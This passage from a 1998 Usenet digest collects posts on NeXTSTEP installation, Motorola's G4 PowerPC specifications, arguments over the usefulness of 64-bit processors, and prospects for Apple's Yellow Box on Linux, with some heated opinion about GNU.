low-end offerings, e.g. iMac, which had suffered greatly during past
times. WWDC'98 showed a roadmap to some nice onboard I/O so I'd expect
good stuff coming out of MacWorld Expo SF in January.
OTH, you can apparently put 256MB DIMMs into the PowerMac G3 line. This
doubles the max RAM. Apple does not suggest or warrant this idea though,
so you're on your own. Some of the Mac hardware webpages have
information on what has worked. Also, make sure to buy from a RAM vendor
who understands Macs.
Good luck,
Chris
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
Newsgroups: comp.sys.next.advocacy
From: cdouty@netcom.com (Chris Douty)
Subject: Re: NEWS.COM article on CPU marketshare
Message-ID: <cdoutyF0xoIB.MLq@netcom.com>
Sender: cdouty@netcom4.netcom.com
Organization: Netcom Online Services
References: <3616786A.6ADF@southwind.net> <1998Oct12.203847.2661@il.us.swissbank.com>
Date: Fri, 16 Oct 1998 18:54:11 GMT
In article <1998Oct12.203847.2661@il.us.swissbank.com>,
Michael Humphries-Dolnick <Michael_Humphries-Dolnick.nospam@wdr.com> wrote:
>In article <3616786A.6ADF@southwind.net> jmz@southwind.net writes:
>[snip]
>> FWIW I have run NS/OS on all four platforms and Sparc was probably the
>> most hassle-free.It loaded and ran fine,as easily as on black
>> hardware,and as fast as Intel.Just for ease of use,I've had great luck
>> with Suns once I learned their little eccentricities.
>
>I've had the same experience. I've always thought it odd that NS/OS
>installed easier on a Sparc 5 / 10 / 20 than on a Black Box (no boot disk
>to use, and it's as plug-n-play as you can get...) and way better (for
>obvious reasons) than on Intel.
Hmmm. I must have been lucky then. The NeXT ROM v74 could boot directly
off CD-ROM. Installation on black hardware is then completely painless.
I'd love to have a Sparc 20 though. :-)
--
Christopher Douty - Rogue Engineer trapped in a land of software
cdouty@netcom.com
"Frequently the messages have meaning; that is they refer to or are correlated
according to some system with physical or conceptual entities. These semantic
aspects of communication are irrelevant to the engineering problem." -Shannon
From: amaliy1@uic.edu (Anil T Maliyekke)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Press reports of Apple's profits
Date: 16 Oct 1998 20:55:23 GMT
Organization: University of Illinois at Chicago
Message-ID: <708brr$1l5u$1@piglet.cc.uic.edu>
References: <3626A8A1.A166967B@nstar.net>
Michael J. Peck (mjpeck@nstar.net) wrote:
: It's said that January will see new product announcements. It had better
: see some pretty agile footwork on Jobs' part if there're to be anything
: but yawns from professional markets. Personally, I think introduction of
: a product for that market which possesses the iMac's potential needs to
: be first out of the gate. Just my opinion, but I don't think Rhapsody
: alone is going to cut it. The following suggestions are definitely not
: new:
: * Extremely pervasive OpenGL support, high availability of at least one
: excellent, low-cost 3D hardware device. Something RIVA TNT-based would
: be a good bet, but it needs to ship *now*. The holiday season will see a
: flood of new 3D titles, and graphics professionals who develop games and
: multimedia want to see *volume*.
: * X Windows support in Rhapsody.
While X Windows support might be nice, it would be preferable if
Mac OS X had the capability for remote display of Mac OS X
programs included. There aren't that many X windows applications out there
that you would really want to run over a network unfortunately, except
maybe some server management apps. CAD and other high end
graphics intesive applications are likely not worth remote displaying.
However, if you were talking about X Windows support for the purpose
of porting applications over, that would be nice. However, it would
be a mixed blessing unless vendors eventually port to native
Mac OS X APIs, just so they can create a consistent looking application
and integrate properly with the rest of the working environment.
: * 366-MHz workstations designed from the ground up to run Rhapsody and,
: eventually, MacOS X. PPCP would be wonderful, but it's too late to get
: Unix ports ready for next fall, probably.
: * Undistracted promotion of Rhapsody as a Unix-class workstation and
: server operating environment. Are we going to see Informix, Sybase, and
: Oracle ports like Linux now has? We also need to see crushing
: price/performance that makes Rhapsody seem fast and economical. SGI's
: home page proclaims "It took an army of SGIs to create Antz". Pixar's
: next full-length feature needs to be rendered on high-end Apple Rhapsody
: boxes (1).
I don't think getting next rendered movie rendered on Apple hardware
would do much good. But I think Oracle and Lotus have expressed
interest in porting software to Mac OS X/Rhapsody.
: If Apple can pull off something spectacular and mindshare-grabbing,
: there could be a smooth transition from the heady iMac-leavened
: Christmas season into a solid, early spring.
: One more comment: a Microsoft investee recently announced a
: POSIX-compliance product for NT 5.0; this product will be a huge boost
: for NT, as it goes beyond simple POSIX compliance, providing many other
: Unix-integration components, like X Windows support. Microsoft has been
: very slow to swallow its pride and walk into the light; let us hope that
: Apple is not so foolish. Now would be a good time to pre-empt NT's
: dismal shipment prospects; a friend of a friend says that 5.0 is at
: least 9 months away, by his estimates.
While it may allow UNIX integration and compliance, it still isn't
built like UNIX.
: MJP
: (1) If enough early-adopters were excited about Rhapsody's value, Apple
: could begin to erase the Unix-phobia that overwhelms its userbase. This,
: of course, depends on Apple *wanting* to accomplish this. Time will
: tell. Unix is becoming a household name, practically a brand, to the
: rest of the world.
Date: Fri, 16 Oct 1998 15:32:53 -0700
From: see-below@not-my-address.invalid (Dohnut)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Message-ID: <see-below-1610981532540001@dynamic45.pm09.mv.best.com>
References: <705opt$5ms@newsb.netnews.att.com> <jc1-1510982232450001@ip169.austin9.tx.pub-ip.psi.net> <707jgm$8h1@newsb.netnews.att.com>
In article <707jgm$8h1@newsb.netnews.att.com>,
gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> Jim Conner <jc1@mindspring.com> wrote:
>
> >In article <705opt$5ms@newsb.netnews.att.com>,
> >gupta@kcopsrm.tm.tta.moc-mirror after @ wrote:
> >
> >>
> >> f. 0.2micron, copper process, 83mm * 83 mm die, 10.5 million transistors
> >> < 8W at 400 MHz.
> >
> >Regarding the die size, you are perhaps confusing the G4 with Intel chips. ;)
> >
> >Try 83 mm^2 for size instead.
> >
> >Jim Conner
> >
>
> You are probably right. However, the UK vnu|net article writes :
> Quote : Based on a 0.2 micron copper interconnect technology, the
> G4 crams 10.5 million transistors onto a 83 mm x 83 mm die, and
> consumes less than 8 watts of power at 400 MHz."
>
> I suppose it is a typo and should read 83 mm x mm.
Yes, I really don't think the silicon chip in a G4 is going to be 3-1/4"
on a side!
--
-------------------------------
matthewv@best.com
http://www.best.com/~matthewv/
-------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 16 Oct 98 19:45:49 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B24D52F0-27B86@206.165.43.171>
References: <tim-1610981917060001@jump-tnt-0198.customer.jump.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy,
nntp://news.primenet.com/comp.sys.powerpc.advocacy
Tim Olson <tim@jumpnet.com> said:
>In article <3627893A.A296560B@mci.com>, David.Hinz@mci.com wrote:
>
>| Are the PowerPC G3 and G4 64-bit processors? If not, has anyone heard
>| what Motorola's plans are for releasing a 64-bit processor in the Gx
>| series? Of course the next question is, when will Mac OS X be 64-bit?!?
>
>Why do you want 64-bit processors? Are you really running out of the 4GB
>address space on your desktop machine?
There ARE times when having 64-bit data registers would be nice, even if
the rest of the system is still a 32-bit CPU. I wouldn't mind being able to
blit in 128-bit chunks so that AltiVec-type loads and stores don't get
slowed by a relatively narrow bus.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Sat, 17 Oct 1998 05:03:20 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1710980503200001@r4149.resnet.cornell.edu>
References: <705opt$5ms@newsb.netnews.att.com> <jc1-1510982232450001@ip169.austin9.tx.pub-ip.psi.net> <707jgm$8h1@newsb.netnews.att.com> <see-below-1610981532540001@dynamic45.pm09.mv.best.com> <708o17$bc2$1@morgoth.sfu.ca>
In article <708o17$bc2$1@morgoth.sfu.ca>, erick@sfu.ca (Erick Bryce Wong) wrote:
> Even the the mammoth 100 million transistor Alpha 21364 (which looks to be
> a killer, btw...estimated SPECint/fp 70/120!) is only 350 mm^2 or so.
The 21264 should get scores that high once they get it cranked up to 1000
MHz or so.
--
Eric Bennett (www.pobox.com/~ericb), Cornell University
Education, n. That which discloses to the wise and disguises
from the foolish their lack of understanding.
-Ambrose Bierce
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Sat, 17 Oct 1998 08:45:21 -0500
Organization: none
Message-ID: <tim-1710980845220001@jump-tnt-0140.customer.jump.net>
References: <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124>
In article <B24DB419-18FAE@206.165.43.124>, "Lawson English"
<english@primenet.com> wrote:
| Tim Olson <tim@jumpnet.com> said:
|
| >N.B. the generally accepted definition of a 64-bit processor is one that:
| >
| > * has 64-bit general-purpose registers
| > * has instructions which operate on full 64-bit quantities
| |
| There are plenty of places where otherwise-32-bit applications would
| benefit from an implementation with these features.
What are those? Note that when I say "operate on full 64-bit quantities"
I don't mean data movement -- that's just equivalent to operating on a
vector of smaller quantities. What 64-bit scalar values are you using in
your code?
--
-- Tim Olson
From: jcr.remove@this.phrase.idiom.com (John C. Randolph)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 17 Oct 1998 14:28:49 GMT
Organization: Idiom Communications
Message-ID: <70a9j1$f4c$4@news.idiom.com>
References: <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124>
<tim-1710980845220001@jump-tnt-0140.customer.jump.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: tim@jumpnet.com
Tim Olson may or may not have said:
-> In article <B24DB419-18FAE@206.165.43.124>, "Lawson English"
-> <english@primenet.com> wrote:
->
-> | Tim Olson <tim@jumpnet.com> said:
-> |
-> | >N.B. the generally accepted definition of a 64-bit processor is one
that:
-> | >
-> | > * has 64-bit general-purpose registers
-> | > * has instructions which operate on full 64-bit quantities
-> | |
-> | There are plenty of places where otherwise-32-bit applications would
-> | benefit from an implementation with these features.
->
-> What are those? Note that when I say "operate on full 64-bit quantities"
-> I don't mean data movement -- that's just equivalent to operating on a
-> vector of smaller quantities. What 64-bit scalar values are you using in
-> your code?
Suppose you want to encrypt something with a one-time pad. You can do it a
whole lot faster when you can XOR 8 bytes at a time. Also, when you're
trying to match keys in a hastable, when you do it a byte at a time, you get
a lot more false matches on common prefixes than you do when you do 8-byte
compares.
There are many uses for a 64-bit architecture that have nothing to do with
huge-integer applications.
-jcr
--
What the Bard *should* have said: "All the World's a Stage, and
all the Men and Women rather poorly rehearsed."
From: gupta@knim.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: 17 Oct 1998 12:38:04 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <70a33c$clp@newsb.netnews.att.com>
References: <705opt$5ms@newsb.netnews.att.com> <jc1-1510982232450001@ip169.austin9.tx.pub-ip.psi.net> <707jgm$8h1@newsb.netnews.att.com> <see-below-1610981532540001@dynamic45.pm09.mv.best.com>
Originator: gupta@tlctest
Motorola's PowerPC G4
Regarding the G4, there are now a number of news reports, none
of them very good. The following doesn't add very much to what has
already been posted, except a suggestion that the G4 has two
Altivec units.
-arun gupta
First, the URLs :
[1]http://www.zdnet.com/pcweek/stories/news/0,4153,361363,00.html
"With Merced delayed, RISC chip makers unfurl road maps"
[2]http://www.techweb.com/wire/story/TWB19981016S0004
"Microprocessor Forum: G4 To Add Bite To Mac"
(or at http://www.ebnonline.com/story/OEG19981015S0030 )
[3]http://webserv.vnunet.com/www_user/plsql/\
pkg_vnu_news.right_frame?p_story=65842
"Microprocessor Forum: Motorola G4 on course for mid-1999 production"
[4]http://www.emediaweekly.com/1998/10/12/forum.html
"Multimedia focus at chip forum"
[5]http://www.techweb.com/wire/story/TWB19981016S0013
"Motorola Announces G4 Chip"
This is what they say about the G4 :
L2 cache : upto 2MB [1] [2] [3] [4]
128-bit bus [1]
64-bit or 128 bit wide [3] [4]
Peak L2 bandwidth : 3.2 GB/sec [1]
System bus : 128-bit wide [1] [2] [5]
First implementation will use 64-bit bus [2]
100 MHz [2] [5]
Peak bandwidth : 1.6 GB/sec [1][2]
Multiprocessing support :
Reed : project manager
"The chips can also be used together in a multiprocessing
system, where an additional feature allows data to be
transferred directly from processor to processor
without being routed through the system memory. That
saves an additional 50 percent processing time,
according to Reed. " [2]
"Multiple G4s can access each other's caches, offering
much improved multiprocessing performance, said Reed." [3]
Die size : 83 sq mm [2]
83 mm x 83 mm [3]
Process : 0.2 micron, copper interconnect [2] [3]
Transistors : 10.5 million [3]
Power : <8W at 400 MHz [3]
AltiVec : 128 new instructions [2][5]
162 new instructions [4]
Two parallel Altivec units with 32 128bit registers apiece [5]
Release : Debut next year [1]
Full production 2Q99 [2]
400 MHz chip already sampling [2]
Production middle of next year [3]
Ship mid-99 [4]
Performance :
Swearingen : Motorola PowerPC strategic marketing manager
G4 is only 10% faster than G3 running at the same clock speed,
50% faster in SPEC95 floating point, according to Will
Swearingen in [2][5].
G4 with AltiVec runs data encryption for secure communications
15 times faster than G4 without AltiVec, according to
Paul Reed in [2]
10 to 15 times the current G3, according to Paul Reed in [3]
"Reed said that compared with a similar-speed G3 processor, a
test system running an AltiVec-equipped 400-MHz G4 chip,
with a 2-Mbyte cache running at half the processor speed,
produced an elevenfold speed increase on imaging
processing and a fifteenfold acceleration on other
data-intensive computations. " [4]
"The G4 comes with two parallel AltiVec units with 32
128-bit registers apiece, which sped up the SPEC
benchmark by about 50 percent in floating-point
operations over the 366-MHz G3, Swearingen said." [5]
[6] http://www.macosrumors.com/archive333.html
MacOSRumors reports a MacBench score of 2800 for a 400-MHz G4 (a 300 MHz G3
gets around 1000). This rumor (almost tripling performance ) doesn't
seem to be borne out from the earlier items.
****
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Sat, 17 Oct 1998 11:21:18 -0500
Organization: none
Message-ID: <tim-1710981121180001@jump-tnt-0212.customer.jump.net>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <1dh1zqy.1rg7o201dfuqlwN@[192.168.0.2]>
In article <1dh1zqy.1rg7o201dfuqlwN@[192.168.0.2]>, lars.farm@ite.mh.se
(Lars Farm) wrote:
| MPEG system level timestamps. Actually required to be 33-bit numbers,
| but 64-bit integers internally is convenient and what I do.
Ah, good; a real >32-bit datatype. Do you know how often these are
operated upon in MPEG code? I assume that there is one per frame, so it
would seem to me that they only are needed roughly 30 - 60 times per
second. That rate can easily be handled with existing 32-bit processors
implementing 64-bit arithmetic in software (i.e. add/addc), and is handled
directly by most compilers implementing a "long long" datatype.
--
-- Tim Olson
From: ckoller@worldnet.att.net (Craig Koller)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X Server
Date: 17 Oct 1998 17:54:09 GMT
Organization: AT&T WorldNet Services
Message-ID: <ckoller-1710981059160001@172.los-angeles-05.ca.dial-access.att.net>
References: <pulsar-ya02408000R2709981941460001@news-proxy.cso.uiuc.edu> <pulsar-ya02408000R2809981118200001@news-proxy.cso.uiuc.edu> <360FBE64.67D0D2EF@ericsson.com> <6up4j7$17d@news1.panix.com> <36102270.2739BA4F@ericsson.com> <6upl8c$674@news1.panix.com> <361064C1.419A082F@nstar.net> <6urdgv$o4m@news1.panix.com> <6uuqra$99n$2@nnrp03.primenet.com> <6v071q$obt@news1.panix.com> <6v0cu9$jur$1@nnrp03.primenet.com> <6v0s9m$pfc$1@nnrp1.dejanews.com> <6v2tk2$lqd@news1.panix.com> <6v31n9$c84$1@nnrp02.primenet.com> <joe.ragosta-0210982016330001@elk86.dol.net> <mazulauf-0310980024190001@happy.met.utah.edu> <ckoller-0310980112110001@22.los-angeles-05.ca.dial-access.att.net> <ericb-0310981902260001@r4149.resnet.cornell.edu> <01bdef38$8ec16d10$06387880@chewy> <3616049A.6DA9@southwind.net>
In article <3616049A.6DA9@southwind.net>, jmz@southwind.net wrote:
> I'm saying that not only isn't it right,it is not acceptable.Companies
> who do it should be subject to the wrath of their customer base,who
> unfortunately are usually too in love with convenience and continuity to
> take their business elsewhere.Apple and Microsoft are both guilty as
> snot,and if the customer had any sense he'd be thinking in terms of not
> allowing himself to be dependent on either one.
>
[schnip]
You can't assume that simply because we're not trying to hang Steve Jobs
from the highest tree, that we're blindly ignoring Apple's promises
(fulfilled and otherwise). I was complaining quite loudly about the MacOS
X support (or lack thereof) for non-G3 PCI PowerMacs. As it stands, my
understanding is that it probably should work (if not initially, then
eventually) but Apple will not "officially" support them.
But no, I don't believe Jobs' feet are to be held to the fire for
decisions made by a management group that nearly destroyed the company.
That would be corporate suicide. And given Apple's near-death experience,
we're looking at a very unique case, where the mere survival of the
company is something to be happy about, yet moreso than that, Apple is
definitively stronger and influential, and most likely on the brink of
being a major player in the PC world when OS X arrives.
So, given the choice of a 100% customer-fulfilling DEAD Apple, and a
restructured, partially fulfilling LIVING, thriving and innovating Apple?
C'mon...
From: tim@jumpnet.com (Tim Olson)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Sat, 17 Oct 1998 10:09:29 -0500
Organization: none
Message-ID: <tim-1710981009300001@jump-tnt-0053.customer.jump.net>
References: <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <70a9j1$f4c$4@news.idiom.com>
In article <70a9j1$f4c$4@news.idiom.com>, jcr.remove@this.phrase.idiom.com
wrote:
| Suppose you want to encrypt something with a one-time pad. You can do it a
| whole lot faster when you can XOR 8 bytes at a time.
I can do that 16 bytes at a time with AltiVec. Again, that's operating
upon a small SIMD vector, rather than operating upon a native 64-bit
datatype. I don't need a 64-bit processor to do so.
| There are many uses for a 64-bit architecture that have nothing to do with
| huge-integer applications.
But those uses can already be addressed using SIMD vectors without having
a 64-bit architecture.
--
-- Tim Olson
From: pit@iohk.SPAM-NOT.com (taiQ)
Message-ID: <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net>
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Date: 17 Oct 1998 20:10:24 GMT
Organization: IBM.NET
On Fri, 16 Oct 1998 23:15:56, maury@remove_this.istar.ca (Maury
Markowitz) thought aloud:
> taiQ wrote:
> > I believe Apple would've preferred quicker migration to YB; after all,
> > the original strategy didn't go beyond Blue Box. It was largely
> > created to please the Mac/Windows crossplatform behemoth ISVs who
> > didn't want to start using YB "from scratch". YB/Linux would make
> > Yellow Box development more attractive to developers while
> > Carbon/Linux could actually stall the migration altogether if Carbon
> > remains (eh, becomes) the more popular API. While Carbonizing makes
> > "tuned" Mac OS apps finally run the way gods originally intended, YB
> > still has further benefits.
>
> You touch on one VERY important point that I don't think Apple's too
> serious about - that the value of YB increases geometrically with the
> number of platforms it runs on. The same is NOT true of something like
> Carbon, where the only true purpose would be to bring existing Mac software
> over - I doubt anyone would ever consider it as a _development_ platform
> under Unixen. It simply doesn't offer anything, in fact it's lacking much
> in comparison.
This brings up the question of how important the Yellow Box framework
is to Jobs personally. Would he be willing to take YB, at least
partially, to open source model if that was the only way to keep it
alive and Apple could find profitability in such a proposition?
Also, thanks for your explanation in another message regarding the
ideal implementation of Yellow Box for Linux. "Going direct" by
bypassing competitive object models, namely GNOME, would apparently
make YB/Linux very similar to the Mac OS X ('99) intel release - sans
Carbon - which Apple isn't planning on releasing (it's planned for
PowerPC only). Perhaps too similar. While officially "Linux" refers to
the kernel, the platform itself is a larger entity with very strong
emphasis (or its whole existence being based) on "open source"
philosophy. While the YB model would undoubtably be a more advanced
solution than what the Linux community (not to mention MS) can develop
in the near future, adopting it as an essential core technology would
be akin to M$ building win32 API and COM on top of Linux kernel. YB
would have to become completely open source (GPL?) to gain core
acceptability. I would say the odds are low for this to happen anytime
soon, even with Jobs wowing to "surprise" every 90 days. If "direct"
YB-on-Linux had interoperability with GNOME (i.e. it could be
installed as an enhancement to run YB apps side by side on Linux
desktop) the odds of YB getting accepted would become significantly
higher.
Brgds,
--
taiQ
[this space is intentionally blank]
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Sat, 17 Oct 1998 17:27:28 +0200
Organization: pv
Message-ID: <1dh1zqy.1rg7o201dfuqlwN@[192.168.0.2]>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net>
User-Agent: MacSOUP/2.4b3
Tim Olson <tim@jumpnet.com> wrote:
> | Tim Olson <tim@jumpnet.com> said:
> |
> | >N.B. the generally accepted definition of a 64-bit processor is one that:
> | >
> | > * has 64-bit general-purpose registers
> | > * has instructions which operate on full 64-bit quantities
> | |
> | There are plenty of places where otherwise-32-bit applications would
> | benefit from an implementation with these features.
>
> What are those? Note that when I say "operate on full 64-bit quantities"
> I don't mean data movement -- that's just equivalent to operating on a
> vector of smaller quantities. What 64-bit scalar values are you using in
> your code?
MPEG system level timestamps. Actually required to be 33-bit numbers,
but 64-bit integers internally is convenient and what I do. Computers
can be used for the most amazing things. That's the beauty of computers.
--
Lars Farm; lars.farm@ite.mh.se - Limt: lars.farm@limt.se
Message-ID: <36290618.7C76D28F@nstar.net>
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: Apple as Linux vendor
References: <19981004210108.24477.00005169@ng150.aol.com> <keyes-ya02408000R0510980922490001@news> <F0y0MM.5uL@T-FCN.Net> <FIiROLCWddLd-pn2-yoCvezJM6M2i@localhost>
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NNTP-Posting-Date: Sat, 17 Oct 1998 17:03:57 EDT
Organization: ISPNews http://ispnews.com
Date: Sat, 17 Oct 1998 16:03:20 -0500
taiQ wrote:
[cut]
> Also, thanks for your explanation in another message regarding the
> ideal implementation of Yellow Box for Linux. "Going direct" by
> bypassing competitive object models, namely GNOME, would apparently
> make YB/Linux very similar to the Mac OS X ('99) intel release - sans
> Carbon - which Apple isn't planning on releasing (it's planned for
> PowerPC only).
No, Maury's explanation didn't say that YB and other Linux software
would be totally ignorant of each other. Your statement sounds as if
there were no Linux before GNOME. I know you didn't mean it that way,
but I hate when I hear things like that.
> Perhaps too similar. While officially "Linux" refers to
> the kernel, the platform itself is a larger entity with very strong
> emphasis (or its whole existence being based) on "open source"
> philosophy.
Some of us, nay, many of us, don't see it that way. Open Source means
roughly nothing to me. I don't give a rat's ass for Richard Stallman and
his crazy socialist antics, and I certainly don't support Eric Raymond's
conjecture that Open Source software is, somehow, technically superior
to commercial software.
What I like about Linux is that it belongs to me. It doesn't belong to
someone else. It's accessible, it's modifiable, and it's mine. I don't
answer to anyone else with my Linux box or my Linux software. Or, at
least, I didn't used to. GNU would like to change that, and nothing
makes me angrier.
I welcome commercial software because it's useful. I'm not one of the
many Linux advocates who want something for nothing, and if Linux ends
up being a tool of commercial vendors, fine. I'm not going to go on a
jihad to change it. I don't think Linux is the product of some
socialistic fantasy dreamed up in the MIT AI labs; I think it's the
product of smart people who wanted to do something cool; no matter what
happens those people are going to be around and they're going to be
doing cool things, on Linux or on another platform, it doesn't matter.
Go ahead, ask Larry Wall why he wrote Perl. Larry Wall is one of the
coolest people around.
> While the YB model would undoubtably be a more advanced
> solution than what the Linux community (not to mention MS) can develop
> in the near future, adopting it as an essential core technology would
> be akin to M$ building win32 API and COM on top of Linux kernel.
YB is cool. People who like cool things are going to use YB. People who
just want a place to call home and a shotgun by the door are going to go
ballistic, and it doesn't matter. They can park their lazy asses on
Linux, on MacOS X, on Windows, whatever. It doesn't make a slice of
difference.
But believe me, there are a lot of cool people using Linux, and they are
going to welcome YB with open arms. Guess which operating system they
are *not* going to welcome. (Hint: it starts with MacOS X)
> YB
> would have to become completely open source (GPL?) to gain core
> acceptability.
Wrong. Have you seen the way logic design software is being ported en
masse to Linux? These are corporate logic design users who want to use
Verilog and they want to use Linux. Period. They like Linux because it
is cool, not because it fulfills some college-dorm inner child yearning
for a True Communism(TM) in the computer industry. I'm reminded of what
John Carmack said in the README file for the original Linux Doom port:
"A lot of people ask me why I wasted my time writing this port. I did it
because Linux gives me a woody".
> I would say the odds are low for this to happen anytime
> soon, even with Jobs wowing to "surprise" every 90 days.
The problem is that Jobs isn't nearly as cool as he thinks he is, and an
inflated sense of self-coolness turns cool people off. The Linux
development community does not like Steve Jobs. It *does*, however, like
Apple Computers.
> If "direct"
> YB-on-Linux had interoperability with GNOME (i.e. it could be
> installed as an enhancement to run YB apps side by side on Linux
> desktop) the odds of YB getting accepted would become significantly
> higher.
Are you using GNOME? If so, how? It doesn't even work yet. It can't do
jack s*** (apart from displaying a toolbar). GNOME was started because
KDE appeared and GNU panicked. They had nothing to do with KDE or Qt,
and this made them insane with worry over losing all of the control that
they had worked for. Thus, the GNOME project was started, a project
based on GTK, which was based on GIMP, which is a Photoshop knock-off.
Sounds like a solid beginning, to me (not). To date GNOME has received
more financial backing than any other GNU project, including the Linux
kernel (funny, isn't it? GNU has barely supported the Linux kernel,
favoring its own alternatives. Yet now RMS wants us to call it GNU
Linux).
Even Steve Jobs has the gray matter necessary to stay the f*** away from
GNU and its dying, infantile culture.
MJP
From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Motorola's G4 PowerPC
Date: Sat, 17 Oct 1998 23:19:03 +0200
Organization: pv
Message-ID: <1dh2abi.1amiz0o1uvdb7kN@[192.168.0.2]>
References: <705opt$5ms@newsb.netnews.att.com> <3627893A.A296560B@mci.com> <tim-1610981917060001@jump-tnt-0198.customer.jump.net> <B24D52F0-27B86@206.165.43.171> <tim-1610982233450001@jump-tnt-0185.customer.jump.net> <B24DB419-18FAE@206.165.43.124> <tim-1710980845220001@jump-tnt-0140.customer.jump.net> <1dh1zqy.1rg7o201dfuqlwN@[192.168.0.2]> <tim-1710981121180001@jump-tnt-0212.customer.jump.net>
User-Agent: MacSOUP/2.4b3
Tim Olson <tim@jumpnet.com> wrote:
> In article <1dh1zqy.1rg7o201dfuqlwN@[192.168.0.2]>, lars.farm@ite.mh.se
> (Lars Farm) wrote:
>
> | MPEG system level timestamps. Actually required to be 33-bit numbers,
> | but 64-bit integers internally is convenient and what I do.
>
> Ah, good; a real >32-bit datatype. Do you know how often these are
> operated upon in MPEG code? I assume that there is one per frame, so it
> would seem to me that they only are needed roughly 30 - 60 times per
> second. That rate can easily be handled with existing 32-bit processors
> implementing 64-bit arithmetic in software (i.e. add/addc), and is handled
> directly by most compilers implementing a "long long" datatype.
My use is far from typical for a Macintosh (or any desktop) system, so
this is only marginally relevant to desktop systems. The PowerPC is
relevant.
Short answer: Tens of thousands per second.
Do you really want to know the long answer?
No? I thought so, but you asked so the answer is your fault;-)
I operate on one program out of many in an MPEG transport stream. The
kind used for digital TV. There is a Program Clock Reference (PCR) at
least once per 100ms, though DVB recommends once per 40ms (1/frame).
Every program has one elementary substream for video and at least one
for audio. Each elementary substream also has a clock reference for
presentation time (PTS) and one for decoding time (DTS). Each at least
every 700 ms, but about one per frame each is much more common. So about
100 clocks/s stored in the stream per program. This of course is
nothing. The problem: Transport streams are divided into 188 byte
packets. The streams I operate on are tens of Mbit/s (many programs in
one transport stream). I need to know the current time for each and
every packet even though I don't have to store it in every packet. 50
Mbit/s gives something up towards 30000 packets (=timestamps) per
second. Each subject to multiplications, additions, assignments and
comparisons (<,<= etc). Now, I could just count packets and interpolate
the clocks I need, but I'd still need a 64-bit counter ... and worry
about precision. No clock is allowed to be off by more than 500 ns,
ever, for 24h/day, 7 days/week, 51 weeks/year... Keeping track of time
is not the worst of my worries, but the profiler shows that it is
something that does have potential for improvement and it is an example
of where for instance a PowerPC would make good use of true 64 bit
arithmetic.
- Lars
--
Lars Farm; lars.farm@ite.mh.se - Limt: lars.farm@limt.se
Date: Sat, 17 Oct 1998 15:03:55 -0700
